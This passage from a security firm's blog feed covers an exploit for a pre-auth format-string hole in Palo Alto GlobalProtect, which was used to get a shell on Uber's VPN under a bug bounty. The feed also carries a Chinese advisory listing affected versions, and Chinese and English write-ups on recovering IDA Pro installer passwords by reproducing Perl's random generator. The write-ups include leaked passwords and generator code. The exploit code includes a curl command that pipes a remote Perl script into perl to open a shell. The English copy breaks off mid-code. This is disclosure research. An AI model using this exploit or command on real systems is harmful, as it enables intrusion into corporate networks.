class="nb">str</span><span class="p">((</span><span class="n">system_plt</span><span class="o">&gt;&gt;</span><span class="mi">16</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span> <span class="o">+</span> <span class="s">'c'</span> <span class="n">fmt</span> <span class="o">+=</span> <span class="s">'%32$hn'</span> <span class="n">fmt</span> <span class="o">+=</span> <span class="s">'%'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">((</span><span class="n">system_plt</span><span class="o">&amp;</span><span class="mh">0xffff</span><span class="p">)</span><span class="o">-</span><span class="p">((</span><span class="n">system_plt</span><span class="o">&gt;&gt;</span><span class="mi">16</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">))</span> <span class="o">+</span> <span class="s">'c'</span> <span class="n">fmt</span> <span class="o">+=</span> <span class="s">'%24$hn'</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">40</span><span class="p">,</span><span class="mi">60</span><span class="p">):</span> <span class="n">fmt</span> <span class="o">+=</span> <span class="s">'%'</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">'$p'</span> <span class="n">data</span> <span class="o">=</span> <span class="s">"scep-profile-name="</span> <span class="n">data</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">strlen_GOT</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">data</span> <span class="o">+=</span> <span class="s">"&amp;appauthcookie="</span> <span class="n">data</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">strlen_GOT</span><span class="o">+</span><span class="mi">2</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">data</span> <span class="o">+=</span> <span class="s">"&amp;host-id="</span> <span class="n">data</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">strlen_GOT</span><span class="o">+</span><span class="mi">4</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">data</span> <span class="o">+=</span> <span class="s">"&amp;user-email="</span> <span class="n">data</span> <span class="o">+=</span> <span class="n">fmt</span> <span class="n">data</span> <span class="o">+=</span> <span class="s">"&amp;appauthcookie="</span> <span class="n">data</span> <span class="o">+=</span> <span class="n">cmd</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span> </code></pre></div></div> <p>Once the modification is done, the <code class="language-plaintext highlighter-rouge">sslmgr</code> becomes our webshell and we can execute commands via:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-d</span> <span class="s1">'scep-profile-name=curl orange.tw/bc.pl | perl -'</span> https://global-protect/sslmgr </code></pre></div></div> <p><br /></p> <p>We have reported this bug to Palo Alto via the <a href="https://securityadvisories.paloaltonetworks.com/Report">report form</a>. However, we got the following reply:</p> <blockquote> <p>Hello Orange,</p> <p>Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.</p> <p>Kind regards</p> </blockquote> <p>Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!</p> <h2 id="the-case-study">The case study</h2> <p>After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take <code class="language-plaintext highlighter-rouge">vpn.awscorp.uberinternal.com</code> as an example!</p> <p>From the domain name, we guess Uber uses the BYOL from <a href="https://aws.amazon.com/marketplace/pp/B00OC1T2D4?qid=1562269885823&amp;sr=0-1&amp;ref_=srh_res_product_title">AWS Marketplace</a>. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:</p> <ul> <li>8.0.3</li> <li>8.0.6</li> <li>8.0.8</li> <li>8.0.9</li> <li>8.1.0</li> </ul> <p>Finally, we figured out the version, it’s 8.0.6 and we got the shell back!</p> <p><img src="/assets/img/blog/20190717/1.png" alt="" /></p> <p>Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:</p> <blockquote> <p>Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.</p> <p>Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!</p> </blockquote> <p>It’s a fair decision. It’s always a great time communicating with Uber and report to their <a href="https://hackerone.com/uber">bug bounty program</a>. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!</p> https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/ https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study Wed, 17 Jul 2019 00:00:00 +0800 Palo Alto GlobalProtect 資安通報 <h3 id="內容">內容</h3> <p>在我們進行<a href="https://devco.re/services/red-team">紅隊演練</a>的過程中,發現目標使用的 Palo Alto GlobalProtect 存在 format string 弱點,透過此弱點可控制該 SSL VPN 伺服器,並藉此進入企業內網。</p> <p>回報原廠後,得知這是個已知弱點並且已經 silent-fix 了,所以並未有 CVE 編號。經過我們分析,存在風險的版本如下,建議用戶儘速更新至最新版以避免遭受攻擊。</p> <ul> <li>Palo Alto GlobalProtect SSL VPN 7.1.x &lt; 7.1.19</li> <li>Palo Alto GlobalProtect SSL VPN 8.0.x &lt; 8.0.12</li> <li>Palo Alto GlobalProtect SSL VPN 8.1.x &lt; 8.1.3</li> </ul> <p>9.x 和 7.0.x 並沒有存在風險。</p> <h3 id="細節">細節</h3> <p>我們也利用了這個弱點成功控制了 Uber 的 VPN 伺服器,詳細的技術細節請參閱我們的 Advisory: <a href="https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/">https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/</a></p> <h3 id="附註">附註</h3> <p>這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 <a href="https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545">Black Hat USA</a> 和 <a href="https://www.defcon.org/html/defcon-27/dc-27-speakers.html">DEFCON</a> 的演講『 <strong>Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs</strong> 』中的一小部分,敬請期待!</p> https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory/ https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory Wed, 17 Jul 2019 00:00:00 +0800 破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數 <p><a href="/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/">English Version</a> <a href="/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/">中文版本</a></p> <h2 id="前言">前言</h2> <p>Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。</p> <p>在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。</p> <p>下面就是我們的驗證流程:</p> <h3 id="-linux-以及-macos-版">* Linux 以及 MacOS 版</h3> <p>最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!</p> <p><img src="/assets/img/blog/20190621/1.png" alt="" /></p> <p>在透過 Hex-Rays 協助回報後,<a href="https://blog.bitrock.com/2019/02/installbuilder-1920-released.html">BitRock</a> 也在 2019/02/11 釋出了 InstallBuilder 19.2.0,加強了安裝密碼的保護。</p> <h3 id="-windows-版">* Windows 版</h3> <p>在 Windows 版上解決這個問題是項挑戰,因為這個安裝檔是透過 <a href="http://www.jrsoftware.org/isinfo.php">Inno Setup</a> 封裝的,其安裝密碼是採用 <a href="http://www.jrsoftware.org/ishelp/index.php?topic=setup_password">160-bit SHA-1 hash</a> 的方式儲存,因此我們無法透過靜態、動態程式分析直接取得密碼,透過暴力列舉也不是一個有效率的方式。不過,如果我們掌握了產生密碼的方式,那結果可能就不一樣了,我們也許可以更有效率的窮舉。</p> <p>雖然我們已經有了方向是要找出 Hex-Rays 如何產生密碼,但要去驗證卻是”非常困難”的。因為我們不知道亂數產生器是用什麼語言實作的,而目前已知至少有 <a href="https://rosettacode.org/wiki/Random_number_generator_(included)">88 種亂數產生器</a>,種類太多了。同時,我們也無法知道亂數產生器所使用的字元組和字元順序是什麼。</p> <p>要找出亂數產生器所使用的字元組是眾多困難事中比較簡單的一件,首先,我們竭盡所能的收集所有 IDA Pro 的安裝密碼,例如 WikiLeaks 所揭露的 hackingteam 使用之密碼:</p> <ul> <li>FgVQyXZY2XFk (<a href="https://wikileaks.org/hackingteam/emails/emailid/62729">link</a>)</li> <li>7ChFzSbF4aik (<a href="https://wikileaks.org/hackingteam/emails/emailid/311769">link</a>)</li> <li>ZFdLqEM2QMVe (<a href="https://wikileaks.org/hackingteam/emails/emailid/62956">link</a>)</li> <li>6VYGSyLguBfi (<a href="https://wikileaks.org/hackingteam/emails/emailid/70250">link</a>)</li> </ul> <p>從所有收集到的安裝密碼中我們整理出所用到的字元組: <code class="language-plaintext highlighter-rouge">23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz</code></p> <p>少了 <code class="language-plaintext highlighter-rouge">1</code>, <code class="language-plaintext highlighter-rouge">I</code>, <code class="language-plaintext highlighter-rouge">l</code>, <code class="language-plaintext highlighter-rouge">0</code>, <code class="language-plaintext highlighter-rouge">O</code>, <code class="language-plaintext highlighter-rouge">o</code>, <code class="language-plaintext highlighter-rouge">N</code>, <code class="language-plaintext highlighter-rouge">n</code> 字元,推測這些都是容易混淆的字元,因此不放入密碼字元組中是合理的。接著,我們用這些字元組,猜測可能的排列順序:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz 23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789 ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789 </code></pre></div></div> <p>最後,我們挑選幾個比較常見的語言(c/php/python/perl)並使用上述的字元組實作亂數產生器,列舉所有亂數組合,看看我們收集到的安裝密碼有沒有出現在這些組合中。例如我們用下面程式碼列舉 C 語言的亂數組合:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> </span> <span class="kt">char</span> <span class="n">_a</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_b</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_c</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_d</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_e</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_f</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789"</span><span class="p">;</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">bufa</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufb</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufc</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufd</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufe</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">buff</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o">&lt;</span><span class="mh">0x100000000</span><span class="p">)</span> <span class="p">{</span> <span class="n">srand</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> <span class="k">for</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">n</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">n</span><span class="o">&lt;</span><span class="mi">20</span><span class="p">;</span><span class="n">n</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">key</span><span class="o">=</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">54</span><span class="p">;</span> <span class="n">bufa</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_a</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufb</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_b</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufc</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_c</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufd</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_d</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufe</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_e</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">buff</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_f</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufa</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufb</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufc</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufd</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufe</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">buff</span><span class="p">);</span> <span class="n">i</span><span class="o">=</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 <code class="language-plaintext highlighter-rouge">abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789</code>。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 <code class="language-plaintext highlighter-rouge">FgVQyXZY2XFk</code>,就可用下面程式碼產生:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env perl</span> <span class="c1">#</span> <span class="nv">@_e</span> <span class="o">=</span> <span class="nb">split</span> <span class="sr">//</span><span class="p">,"</span><span class="s2">abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789</span><span class="p">";</span> <span class="nv">$i</span><span class="o">=</span><span class="mi">3326487116</span><span class="p">;</span> <span class="nb">srand</span><span class="p">(</span><span class="nv">$i</span><span class="p">);</span> <span class="nv">$pw</span><span class="o">=</span><span class="p">"";</span> <span class="k">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o">&lt;</span><span class="mi">12</span><span class="p">;</span><span class="o">++</span><span class="nv">$i</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$key</span> <span class="o">=</span> <span class="nb">rand</span> <span class="mi">54</span><span class="p">;</span> <span class="nv">$pw</span> <span class="o">=</span> <span class="nv">$pw</span> <span class="o">.</span> <span class="nv">$_e</span><span class="p">[</span><span class="nv">$key</span><span class="p">];</span> <span class="p">}</span> <span class="k">print</span> <span class="p">"</span><span class="si">$i</span><span class="s2"> </span><span class="si">$pw</span><span class="se">\n</span><span class="p">";</span> </code></pre></div></div> <p>透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 <a href="https://github.com/kholia/inno2john">inno2john</a> 專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。</p> <p>在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。</p> <h2 id="總結">總結</h2> <p>本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。</p> <p>我們真的很喜歡這樣的過程:有根據的大膽猜測,竭盡全力用任何已知資訊去證明我們的想法,不論猜測是對是錯,都能從過程中獲得很多經驗。這也是為什麼我們這次願意花一個月時間去驗證一個成功機率不是很高的假設。附帶一提,這樣的態度,也被運用在我們<a href="https://devco.re/services/red-team">紅隊演練</a>上,想要試試嗎 :p</p> <p>寫在最後,要感謝 Hex-Rays 很友善且快速的回應。即使這個問題不包含在 <a href="https://www.hex-rays.com/bugbounty.shtml">Security Bug Bounty Program</a> 裡面,仍然慷慨的贈送 Linux 和 MAC 版 IDA 及升級原有 Windows 版至 IDA Pro。再次感謝。</p> <h2 id="時間軸">時間軸</h2> <ul> <li>Jan 31, 2019 - 向 Hex-Rays 回報弱點</li> <li>Feb 01, 2019 - Hex-Rays 說明之後會增加安裝密碼的強度,並協助通報 BitRock</li> <li>Feb 11, 2019 - BitRock 釋出了 InstallBuilder 19.2.0</li> </ul> https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/ https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way Fri, 21 Jun 2019 00:00:00 +0800 Operation Crack: Hacking IDA Pro Installer PRNG from an Unusual Way <p><a href="/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/">English Version</a> <a href="/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/">中文版本</a></p> <h2 id="introduction">Introduction</h2> <p>Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.</p> <p>After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:</p> <h3 id="-linux-and-macos-version">* Linux and MacOS version</h3> <p>The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!</p> <p><img src="/assets/img/blog/20190621/1.png" alt="" /></p> <p>This problem is fixed after we reported through Hex-Rays. <a href="https://blog.bitrock.com/2019/02/installbuilder-1920-released.html">BitRock</a> released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.</p> <h3 id="-windows-version">* Windows version</h3> <p>It gets harder on Windows version because the installer is built with <a href="http://www.jrsoftware.org/isinfo.php">Inno Setup</a>, which store its password with <a href="http://www.jrsoftware.org/ishelp/index.php?topic=setup_password">160-bit SHA-1 hash</a>. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!</p> <p>Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least <a href="https://rosettacode.org/wiki/Random_number_generator_(included)">88 random number generators</a> known. It is such a great variation.</p> <p>We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.</p> <ul> <li>FgVQyXZY2XFk (<a href="https://wikileaks.org/hackingteam/emails/emailid/62729">link</a>)</li> <li>7ChFzSbF4aik (<a href="https://wikileaks.org/hackingteam/emails/emailid/311769">link</a>)</li> <li>ZFdLqEM2QMVe (<a href="https://wikileaks.org/hackingteam/emails/emailid/62956">link</a>)</li> <li>6VYGSyLguBfi (<a href="https://wikileaks.org/hackingteam/emails/emailid/70250">link</a>)</li> </ul> <p>From the collected passwords we can summarize the charset: <code class="language-plaintext highlighter-rouge">23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz</code></p> <p>The missing of <code class="language-plaintext highlighter-rouge">1</code>, <code class="language-plaintext highlighter-rouge">I</code>, <code class="language-plaintext highlighter-rouge">l</code>, <code class="language-plaintext highlighter-rouge">0</code>, <code class="language-plaintext highlighter-rouge">O</code>, <code class="language-plaintext highlighter-rouge">o</code>, <code class="language-plaintext highlighter-rouge">N</code>, <code class="language-plaintext highlighter-rouge">n</code> seems to make sense because they are confusing characters. Next, we guess the possible charset ordering like these:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz 23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789 ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789 </code></pre></div></div> <p>Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> </span> <span class="kt">char</span> <span class="n">_a</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_b</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_c</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_d</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_e</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">_f</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789"</span><span class="p">;</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">bufa</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufb</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufc</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufd</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">bufe</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">buff</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o">&lt;</span><span class="mh">0x100000000</span><span class="p">)</span> <span class="p">{</span> <span class="n">srand</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> <span class="k">for</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">n</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">n</span><span class="o">&lt;</span><span class="mi">20</span><span class="p">;</span><span class="n">n</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">key</span><span class="o">=</span> <span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">54</span><span class="p">;</span> <span class="n">bufa</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_a</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufb</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_b</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufc</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_c</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufd</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_d</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">bufe</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_e</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="n">buff</span><span class="p">[</span><span class="n">n</span><span class="p">]</span><span class="o">=</span><span class="n">_f</span><span class="p">[</span><span class="n">key</span><span class="p">];</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufa</span><span class="p">);</span> 